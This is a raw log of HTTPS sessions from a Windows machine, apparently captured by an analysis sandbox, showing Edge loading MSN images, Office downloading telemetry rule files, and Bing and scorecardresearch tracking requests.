2024-11-28 01:27:49 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 01:27:50 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=174456 Expires: Sat, 30 Nov 2024 01:55:26 GMT Date: Thu, 28 Nov 2024 01:27:50 GMT Connection: close
2024-11-28 01:27:50 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	49913	104.117.182.59	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:49 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 01:27:50 UTC	515	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sat, 23 Nov 2024 18:14:45 GMT X-Source-Length: 5699 X-Datacenter: eastus X-ActivityId: 5c4ddcbc-0d99-4ea0-a3c4-13e18d04c61f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=60271 Expires: Thu, 28 Nov 2024 18:12:21 GMT Date: Thu, 28 Nov 2024 01:27:50 GMT Connection: close
2024-11-28 01:27:50 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	49915	104.117.182.59	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:49 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 01:27:50 UTC	516	IN	HTTP/1.1 200 OK Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT Access-Control-Allow-Origin: * X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=259192 Expires: Sun, 01 Dec 2024 01:27:42 GMT Date: Thu, 28 Nov 2024 01:27:50 GMT Connection: close
2024-11-28 01:27:50 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	49918	104.117.182.59	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:49 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 01:27:50 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=157672 Expires: Fri, 29 Nov 2024 21:15:42 GMT Date: Thu, 28 Nov 2024 01:27:50 GMT Connection: close
2024-11-28 01:27:50 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:50 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:51 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:50 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 5dad9a26-101e-0079-2c66-405913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012750Z-174f7845968swgbqhC1EWRmnb40000000xsg00000000nkk5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:51 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:50 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:51 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:50 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 89e8b03d-001e-0065-5291-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012750Z-174f7845968cdxdrhC1EWRg0en0000000xt0000000002r71 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:51 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:50 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:51 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:50 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: a1da7612-c01e-0014-5d80-3fa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012750Z-174f7845968kvnqxhC1EWRmf3g0000000gfg00000000eqkx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:51 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	49905	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:50 UTC	370	OUT	GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=c12417e579054221b95d79c2c1ba9d67&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive
2024-11-28 01:27:51 UTC	864	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Set-Cookie: MUID=29A043C5F5F06E4035685680F4926F46; domain=.bing.com; expires=Tue, 23-Dec-2025 01:27:50 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: MR=0; domain=g.bing.com; expires=Thu, 05-Dec-2024 01:27:50 GMT; path=/; SameSite=None; Secure; Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 346005928BEF4FF99D580EFEF1E7F435 Ref B: EWR311000106031 Ref C: 2024-11-28T01:27:50Z Date: Thu, 28 Nov 2024 01:27:50 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:51 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:51 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:51 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 1fa1d210-401e-0067-3791-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012751Z-174f7845968l4kp6hC1EWRe8840000000xyg00000000cdsz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:51 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:51 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:51 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:51 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: f58191a5-b01e-003e-1291-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012751Z-174f7845968nxc96hC1EWRspw80000000xc000000000kt3s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:51 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	49921	18.164.116.57	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:51 UTC	1012	OUT	GET /b2?rn=1732757266484&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3A49E4BF156D65780FA2F1FA140F641B&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=18F961378f552aeb844a5401732757269; XID=18F961378f552aeb844a5401732757269
2024-11-28 01:27:51 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Thu, 28 Nov 2024 01:27:51 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 97e44a27a616410da5792d77e9d25f52.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P6 X-Amz-Cf-Id: MOgjG2ct8XWL3bpXvmFrUCb5LSH2HgZoOr-a7BKUYw4URxbZBHWa0g==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	49909	20.96.153.111	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:51 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=3A49E4BF156D65780FA2F1FA140F641B&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=9d77d83c87f347e19035db24e28231be HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3A49E4BF156D65780FA2F1FA140F641B; 